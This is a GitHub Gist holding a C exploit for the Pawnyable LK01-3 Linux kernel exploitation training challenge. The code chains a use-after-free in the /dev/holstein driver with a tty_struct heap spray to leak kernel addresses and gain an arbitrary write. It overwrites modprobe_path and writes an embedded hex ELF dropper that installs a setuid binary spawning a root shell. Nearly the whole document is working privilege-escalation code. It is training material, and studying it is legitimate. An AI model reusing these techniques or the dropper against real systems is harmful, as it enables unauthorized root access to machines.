Last active
November 28, 2022 09:05
-
-
Save brant-ruan/13c535c8e1b1767dee25a320bef49e1c to your computer and use it in GitHub Desktop.
Pawnyable LK01-3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc39c60 | |
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06) | |
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8) | |
#define modprobe_path (kbase + 0xe38480) | |
int fd1, fd2, fd3, fd4; | |
unsigned long kbase; | |
unsigned long g_buf; | |
int spray[SPRAY_NUM]; | |
char buf[0x400]; | |
char win_condition[] = "/tmp/evil"; | |
/* | |
* Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods | |
* Dropper...: | |
* fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC); | |
* write(fd, shellcode, shellcodeLen); | |
* chmod("/tmp/win", 0x4755); | |
* close(fd); | |
* exit(0) | |
* | |
* ... who drops some shellcode ELF: | |
* setuid(0); | |
* setgid(0); | |
* execve("/bin/sh", ["/bin/sh"], NULL); | |
*/ | |
unsigned char dropper[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00, | |
0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05, | |
0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00, | |
0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0, | |
0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03, | |
0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00, | |
0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a, | |
0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f, | |
0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70, | |
0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c, | |
0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e, | |
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, | |
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, | |
0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, | |
0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96, | |
0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, | |
0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89, | |
0xe6, 0xb0, 0x3b, 0x0f, 0x05}; | |
int cache_fd = -1; | |
void AAW32(unsigned long addr, unsigned int val) { | |
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr); | |
if (cache_fd == -1) { | |
read(fd4, buf, 0x400); | |
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8; | |
write(fd4, buf, 0x20); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
int v = ioctl(spray[i], val, addr /* rdx */); | |
if (v != -1) { | |
printf("[+] target tty_struct index: #%d\n", i); | |
cache_fd = spray[i]; | |
break; | |
} | |
} | |
} else | |
ioctl(cache_fd, val, addr); | |
} | |
int main() { | |
puts("[*] UAF: open fd1, fd2; close fd1"); | |
fd1 = open("/dev/holstein", O_RDWR); | |
fd2 = open("/dev/holstein", O_RDWR); | |
close(fd1); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with tty_struct\n"); | |
read(fd2, buf, 0x400); // read tty_struct | |
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x38] - 0x38; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) { | |
printf("[-] heap spraying failed\n"); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) | |
close(spray[i]); | |
exit(-1); | |
} | |
*(unsigned long *)&buf[0x3f8] = mov_ptr_rdx_rcx_ret; | |
write(fd2, buf, 0x400); | |
puts("[*] UAF-2: open fd3, fd4; close fd3"); | |
fd3 = open("/dev/holstein", O_RDWR); | |
fd4 = open("/dev/holstein", O_RDWR); | |
close(fd3); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
for (int i = 0; i < sizeof(win_condition); i += 4) | |
AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]); | |
FILE *fptr = fopen(win_condition, "w"); | |
if (!fptr) { | |
puts("[!] Failed to open win condition"); | |
exit(-1); | |
} | |
if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) { | |
puts("[!] Failed to write win condition"); | |
exit(-1); | |
} | |
fclose(fptr); | |
if (chmod(win_condition, 0777) < 0) { | |
puts("[!] Failed to chmod win condition"); | |
exit(-1); | |
}; | |
puts("[+] win_condition (dropper) written to /tmp/evil"); | |
puts("[*] triggering modprobe"); | |
system("chmod +x /tmp/evil"); | |
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); | |
system("chmod +x /tmp/pwn"); | |
system("/tmp/pwn"); // trigger modprobe_path | |
puts("[*] spawning root shell"); | |
system("/tmp/win"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment